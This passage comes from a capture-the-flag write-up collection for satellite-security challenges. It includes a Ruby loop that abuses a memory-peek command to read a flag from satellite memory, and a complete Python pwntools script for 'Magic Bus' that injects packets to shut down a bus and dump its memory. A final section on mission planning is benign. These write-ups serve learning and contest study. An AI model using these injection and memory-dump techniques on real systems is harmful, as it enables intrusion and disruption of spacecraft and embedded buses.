-satellite to start sending telemetry. However these are encrypted, so -COSMOS cannot understand them. - -[[file:COSMOS_enable_telemetry.png]] - -We also discover another present subsystem called =MM=, which allows for -reading and writing arbitrary memory on the satellite (how useful!) as -well as interacting with memory by symbols (extremely useful!). - -[[file:COSMOS_MM.png]] - -The provided =kit_to.so= contains the code used by the satellite to -transmit telemetry to COSMOS. We used -[[https://ghidra-sre.org/][Ghidra]] to analyze the binary (which -helpfully includes symbols and debugging information, and that makes our -lives way easier for this problem). We discovered that it uses AES CBC -with a key and IV retrieved with external functions =get_key= and -=get_iv= that are not present in the binary. However, these are stored -in known locations in memory, which means it would be possible to read -the AES key and IV using the PEEK_MEM command in COSMOS and then decrypt -the telemetry packets, but there's an easier way. The code contains a -function =KIT_TO_SendFlagPkt= which (as you might guess) sends the flag -via encrypted telemetry, and this also writes the flag as an -intermediate value to a known memory location. PIE is enabled for this -binary, however since the PEEK_MEM command allows looking up memory by -symbol name the address randomization is very trivially bypassed. - -[[file:ghidra.png]] - -Inspecting the structure of =KitToFlagPkt= shows that the flag is -located at offset 12 and is (up to) 200 bytes long. We created a Ruby -script in the COSMOS Script Runner to execute PEEK_MEM commands for each -byte in the flag range, based on the command COSMOS outputs to the -console when running the command manually in the GUI. Note that in order -for the function =KIT_TO_SendFlagPkt= to be called at all, we must first -run the ENABLE_TELEMETRY command even though we're not going to look at -any actual telemetry. - -#+BEGIN_SRC ruby - 12.upto(212) { |off| - offset = off - cmd("MM PEEK_MEM with CCSDS_STREAMID 6280, CCSDS_SEQUENCE 49152, CCSDS_LENGTH 73, " - + "CCSDS_FUNCCODE 2, CCSDS_CHECKSUM 0, DATA_SIZE 8, MEM_TYPE 1, PAD_16 0, " - + "ADDR_OFFSET #{offset}, ADDR_SYMBOL_NAME 'KitToFlagPkt'") - } -#+END_SRC - -This directly prints the flag to the console, simply decode the hex to -get the flag value. - -** Resources and other writeups - :PROPERTIES: - :CUSTOM_ID: resources-and-other-writeups-4 - :END: - -- [[https://cosmosrb.com/]] -- [[https://cfs.gsfc.nasa.gov/]] -- [[https://ghidra-sre.org/]] - -\newpage -* Magic Bus - :PROPERTIES: - :CUSTOM_ID: magic-bus - :END: - -*Category*: Satellite Bus *Points (final)*: 91 *Solves*: 44 (this number -taunts me) - -/Important note:/ Team BLAHAJ did not solve this problem until after the -competition, and it did not count toward our final point total. - -#+BEGIN_QUOTE - There's a very busy bus we've tapped a port onto, surely there is some - juicy information hidden in the device memory... somewhere... -#+END_QUOTE - -** Write-up - :PROPERTIES: - :CUSTOM_ID: write-up-4 - :END: - -by [[https://qtp2t.club/][hazel (=arcetera=)]] - -*I hate this problem. I hate this problem. I hate this problem. I hate -this problem. I literally hate this problem so much. This problem made -me cry. I have literally no words to describe the exact extent to which -this problem has driven me insane. This problem taunts me in my sleep. -This problem taunts me while I am awake. The extent to which I despise -this problem is beyond words. I hate this. I hate whoever made this. I -want to burn this problem to the ground. This problem has achieved -active sentience and holds malice against me and the rest of my team -specifically. Had the competition not ended, this problem would hold the -rest of the world hostage.* - -Furthermore, much of this writeup is /failed/ attempts at a solution. -Other writeups may be more useful at determining success, despite our -team eventually finding a solution. - -...anyway... - -When netcatting into the server, a series of hex bytes appears. A -cursory analysis of these bytes reveals that all packets start with =^= -and end with =.=, aside from lines starting with byte CA. Decoding the -data beginning with byte CA reveals some 🧃🧃🧃. This output has =\xca\x00= -stripped: - -#+BEGIN_EXAMPLE - b'\xb2M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5' -#+END_EXAMPLE - -I prefer water though. #WaterDrinkers - -While I was asleep, the rest of the team managed to reverse the protocol -to a decent extent. Namely, the format for strings beginning with -=:\x00\x00>= and =:\x00\x00?= and ending with =?= is: - =\0x000000= (6 -bytes) - @ or ? - A (7 bytes) - @ (2 bytes) - @ or ? - =\xc1= (3 bytes) - -An example: - -#+BEGIN_EXAMPLE - b'\x00\x00\x008\x94S@\xc8.@A\x01:\xa0\xc0i\x11\xa1@|.@\xc1\x9b\x1c\xe6?' - : 00:00:00 > 38:94:53:40:c8:2e @ 1:3a:a0:c0:69:11:a1 @ 7c:2e @ 9b:1c:e6 ? -#+END_EXAMPLE - -The following Python code decodes this packet structure: - -#+BEGIN_SRC python - def to_hex(b): - return ':'.join(hex(x)[2:] for x in b) - - def decode_pkt(b): - if len(b) == 0: - return - if b[0] == 0xCA: - pass # raw data? - elif b[0] == ord(':'): - if b[3] == ord('>') or b[3] == ord('?'): # > or ? - field1 = to_hex(b[7:13]) # 6 bytes - field1end = chr(b[13]) # - field2 = to_hex(b[15:22]) # 7 bytes - if b[22] != ord('@'): - print('b[22] should be @ but is {}'.format(chr(b[22]))) - field3 = to_hex(b[23:25]) - field3end = chr(b[25]) - c1 = b[26] - field4 = to_hex(b[27:30]) - if b[30] != ord('?'): - print('b[30] is not ?') - print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2, - field3, field3end, field4)) - elif b[0] == ord(';'): - print('delimiter') # end of previous packet? - else: - print(b[0]) - print('unknown data') - print('\n') -#+END_SRC - -Noting a delay between packets led me to derive the following packet -structure: - START packet, which is equal to the preceding END packet - -ONCE call, which occurs prior to a... - ONCE packet - JUICY DATA - END -call - END packet, which is equal to the next START packet - -This proved to be incorrect, but more on that later. - -The following code differentiates between these packets from the netcat, -where the variable =rawn= is the raw byte string: - -#+BEGIN_SRC python - start = True - while True: - r.recvuntil('^') - raw = r.recvuntil('.') - rawn = bytes([94]) + raw - print(rawn) - v = raw.decode().split('+') - del v[-1] - h = bytes([int(i, 16) for i in v]) - if h == b';\x00\x00?': - print("ONCE CALL") - elif h == b';\x00\x00>': - print("END CALL") - elif h.startswith(b':\x00\x00?'): - print(f"ONCE: {h[4:]}") - elif h.startswith(b':\x00\x00>'): - # notable delay between start and end each time - if start: - print(f"START: {h[4:]}") - start = False - else: - print("INJECTING") - r.send(inj) - print(f"END: {h[4:]}") - start = True - elif h.startswith(b'\xca'): - print(f"JUICE: {h}") - else: - print(f"???: {h}") - - sys.stdout.flush() -#+END_SRC - -I then noticed that post-text the string -=\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6= had the characters ={= -and =6= at the same point as =flag{oscar39616kilo=, which would -correspond to a flag. I graphed this and tried to find a function (or -multiple) modeling a relation here, but with R2 being something like -0.39 for every relation I tried, this was extremely unlikely. - -We then tried reading the data sequentially from the buffer, from Juicy -Data 00 to 04. Here's the entire string: - -#+BEGIN_EXAMPLE - 00000000: 4a75 6963 7920 4461 7461 2030 3000 c8f7 Juicy Data 00... - 00000010: eb15 963d 6b70 5cc9 2c5e d5cf 5c31 9919 ...=kp\.,^..\1.. - 00000020: 779a c6a9 0865 8d55 926a 372c 00ff 23eb w....e.U.j7,..#. - 00000030: 14b9 297f 2985 4856 e31d 2558 58be 59c6 ..).).HV..%XX.Y. - 00000040: 4a75 6963 7920 4461 7461 2030 3100 5201 Juicy Data 01.R. - 00000050: 1e7b 8147 00c9 9de3 e7c2 2336 817c fcd9 .{.G......#6.|.. - 00000060: 9b6b 3a1f 68f0 35ce dd77 35ca dc87 ccfa .k:.h.5..w5..... - 00000070: 024d 4102 16df e5fd a108 3322 842f fc1f .MA.......3"./.. - 00000080: 4a75 6963 7920 4461 7461 2030 3200 c08f Juicy Data 02... - 00000090: e702 91fd e177 fb82 7f2e a504 5ea1 23f9 .....w......^.#. - 000000a0: d762 fcfd d5cd 00c0 d4ce 8661 6847 f14f .b.........ahG.O - 000000b0: 4982 4d2a f948 ac79 7651 7dd4 f2a0 cdc9 I.M*.H.yvQ}..... - 000000c0: 4a75 6963 7920 4461 7461 2030 3300 4dae Juicy Data 03.M. - 000000d0: 409a d839 e285 b259 d62f 2dc9 d0fb 92d2 @..9...Y./-..... - 000000e0: c459 aa5b 2042 c6b5 6193 b3c6 5001 7590 .Y.[ B..a...P.u. - 000000f0: 9b4d ca7e d27c d7a9 ac04 727c ff04 4ec4 .M.~.|....r|..N. - 00000100: 4a75 6963 7920 4461 7461 2030 3400 5a83 Juicy Data 04.Z. - 00000110: 2524 01f8 a0d8 a14c dc13 c8dc 1717 a075 %$.....L.......u - 00000120: 10bf f24b a525 e81e 0c4b e8f3 ...K.%...K.. -#+END_EXAMPLE - -Unfortunately, nothing meaningful was derived from this. There are a ={= -and =}= with bytes between them, but they aren't flag length. - -I noticed that injecting instructions performed something, but I didn't -think it did anything notable. I injected various data at various -points, but I never managed to break out at the previous region of -memory... which is where gashapwn's /incredible/ work came in. - -If the packet =^3b+00+00+00.= is sent, the bus /stops sending data/, -which is decidedly confirmation that the server accepts data. Each of -the following injects has the same effect: - -#+BEGIN_EXAMPLE - ^3b+00+00+30+. - ^3b+00+00+31+. - ^3b+00+00+32+. - ^3b+00+00+33+. - ^3b+00+00+34+. - ^3b+00+00+34+. - ^3b+00+00+35+. - ^3b+00+00+36+. - ^3b+00+00+37+. -#+END_EXAMPLE - -In practice, only this last packet is needed to shut down the server. -Anything of the form of =^3b+00+00+XX+.= where XX<38 shuts it down, but -only 37 enables dump mode. This can probably be done with a fuzzer. Why -has God abandoned us? What accursed malfunction did we do to deserve -this fate? - -If you send the packet -=^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+.....+87+cc+.=, -the same packet is sent back. This means that the juice packets -deliminated with =\xca= are actually instructions. - -By playing with the packet, the format appears to go: - Byte 0: CA - -Byte 1-2: Memory offset - Byte 3-end: Size of memory to return - -...so if we ask for a really large chunk of data, we can get a dump. -With the inject: - -#+BEGIN_EXAMPLE - b"^3b+00+00+37+." - b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+....+00+00+." -#+END_EXAMPLE - -we can query for everything in memory. And we did. - -*** Full code - :PROPERTIES: - :CUSTOM_ID: full-code-3 - :END: - -#+BEGIN_SRC python - #!/usr/bin/env python3 - import time - import sys - - from pwnlib import tubes - - TICKET = 'THE_TICKET' - r = tubes.remote.remote('bus.satellitesabove.me', 5041) - r.send(TICKET+'\n') - time.sleep(0.5) - r.recvuntil('Ticket please:\n', drop=True) - - def to_hex(b): - return ':'.join(hex(x)[2:] for x in b) - - def decode_pkt(b): - if len(b) == 0: - return - if b[0] == 0xCA: - pass # raw data? - elif b[0] == ord(':'): - if b[3] == ord('>') or b[3] == ord('?'): # > or ? - field1 = to_hex(b[7:13]) # 6 bytes - field1end = chr(b[13]) # - field2 = to_hex(b[15:22]) # 7 bytes - if b[22] != ord('@'): - print('b[22] should be @ but is {}'.format(chr(b[22]))) - field3 = to_hex(b[23:25]) - field3end = chr(b[25]) - c1 = b[26] - field4 = to_hex(b[27:30]) - if b[30] != ord('?'): - print('b[30] is not ?') - print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2, - field3, field3end, field4)) - elif b[0] == ord(';'): - print('delimiter') # end of previous packet? - else: - print(b[0]) - print('unknown data') - print('\n') - - start = True - inj = b"^3b+00+00+37+." - inj2 = b"^ca+" + (b"00+" * 512) + b"." - - dont = False - inj2_b = False - - print("Injection: " + inj.decode("utf-8")) - - while True: - r.recvuntil('^') - raw = r.recvuntil('.') - rawn = bytes([94]) + raw - print(rawn) - v = raw.decode().split('+') - del v[-1] - h = bytes([int(i, 16) for i in v]) - if h == b';\x00\x00?': - print("ONCE CALL") - elif h == b';\x00\x00>': - print("END CALL") - elif h.startswith(b':\x00\x00?'): - print(f"ONCE: {h[4:].hex()}") - elif h.startswith(b'\x3b\x00\x00\x37'): - print("SHUT DOWN SUCCESSFUL") - dont = True - inj2_b = True - print("INJECTING AGAIN") - r.send(inj2) - elif h.startswith(b':\x00\x00>'): - # notable delay between start and end each time - if start: - print(f"START: {h[4:].hex()}") - start = False - elif inj2_b == False: - print("INJECTING") - r.send(inj) - print(f"END: {h[4:].hex()}") - start = True - else: - print("INJECTING AGAIN") - r.send(inj2) - print(f"END: {h[4:].hex()}") - start = True - elif h.startswith(b'\xca'): - print(f"JUICE: {h}") - else: - dont = True - print(f"???: {h.hex()}") - - if not dont: - decode_pkt(h) - dont = False - sys.stdout.flush() -#+END_SRC - -Run it: - -#+BEGIN_EXAMPLE - λ has-writeup/satellite-bus/magic-bus python magic-bus.py - - .... - - JUICE: b'.....v\xaf\xe88\x856Mflag{oscar39616kilo:GCxmhORYa65Y0PmRtFmlFSBmnvImEiWg.....' -#+END_EXAMPLE - -Hey look, a flag! - -I hate this problem so much. At the time of me writing this, it's 1:30 -AM and I'm sitting in my kitchen on my Lenovo(tm) ThinkPad(tm) T440(tm). -I genuinely don't know how this got so many solves. I hate this. -Goodnight. - -** Resources and other writeups - :PROPERTIES: - :CUSTOM_ID: resources-and-other-writeups-5 - :END: - -- God I wish there was any - -\newpage -* Good Plan? Great Plan! - :PROPERTIES: - :CUSTOM_ID: good-plan-great-plan - :END: - -*Category*: Space and Things *Points (final)*: 77 *Solves*: 54 - -#+BEGIN_QUOTE - Help the Launchdotcom team perform a mission on their satellite to - take a picture of a specific location on the ground. No hacking here, - just good old fashion mission planning! -#+END_QUOTE - -#+BEGIN_QUOTE - The current time is April 22, 2020 at midnight (2020-04-22T00:00:00Z). - We need to obtain images of the Iranian space port (35.234722 N - 53.920833 E) with our satellite within the next 48 hours. You must - design a mission plan that obtains the images and downloads them - within the time frame without causing any system failures on the - spacecraft, or putting it at risk of continuing operations. The - spacecraft in question is USA 224 in the NORAD database with the - following TLE: - - #+BEGIN_EXAMPLE - 1 37348U 11002A 20053.50800700 .00010600 00000-0 95354-4 0 09 - 2 37348 97.9000 166.7120 0540467 271.5258 235.8003 14.76330431 04 - #+END_EXAMPLE - - You need to obtain 120 MB of image data of the target location and - downlink it to our ground station in Fairbanks, AK (64.977488 N - 147.510697 W). Your mission will begin at 2020-04-22T00:00:00Z and - last 48 hours. You are submitting a mission plan to a simulator that - will ensure the mission plan will not put the spacecraft at risk, and - will accomplish the desired objectives. -#+END_QUOTE - -** Write-up - :PROPERTIES: - :CUSTOM_ID: write-up-5 - :END: - -by [[https://qtp2t.club/][hazel (=arcetera=)]] - -In the time range [2020-04-22 00:00:00, 2020-04-23 23:59:00], the USA -224 satellite as given in the TLE above reaches the Iranian space port -twice: - Around 09:28 on 2020-04-22 - Around 09:50 on 2020-04-23 This -was found in GPredict after loading in the TLE given in the netcat. - -Additionally, the USA 224 reaches the ground station in Alaska twice: - -Around 10:47 on 2020-04-22 - Around 11:10 on 2020-04-23 - -The rest of the strategy is pretty much just to use trial and error: - -Image for as long as possible until the battery runs dry or we're out of -range - Downlink for as long as possible until the battery runs dry or -we're out of range - Desaturate the wheels about an hour before they -exceed maximum velocity - -*** Full plan - :PROPERTIES: - :CUSTOM_ID: full-plan - :END: - -#+BEGIN_EXAMPLE - 2020-04-22T00:00:00Z sun_point - 2020-04-22T09:28:00Z imaging - 2020-04-22T09:35:00Z sun_point - 2020-04-22T10:47:00Z data_downlink - 2020-04-22T10:50:00Z wheel_desaturate - 2020-04-22T11:30:00Z sun_point - 2020-04-23T08:50:00Z wheel_desaturate - 2020-04-23T09:30:00Z sun_point - 2020-04-23T09:50:00Z imaging - 2020-04-23T09:56:00Z sun_point - 2020-04-23T11:10:00Z data_downlink - 2020-04-23T11:14:00Z sun_point - 2020-04-23T22:00:00Z wheel_desaturate -#+END_EXAMPLE - -** Resources and other writeups - :PROPERTIES: - :CUSTOM_ID: resources-and-other-writeups-6 - :END: - -- [[http://gpredict.oz9aec.net/]] -- [[https://en.wikipedia.org/wiki/Two-line_element_set]] - -\newpage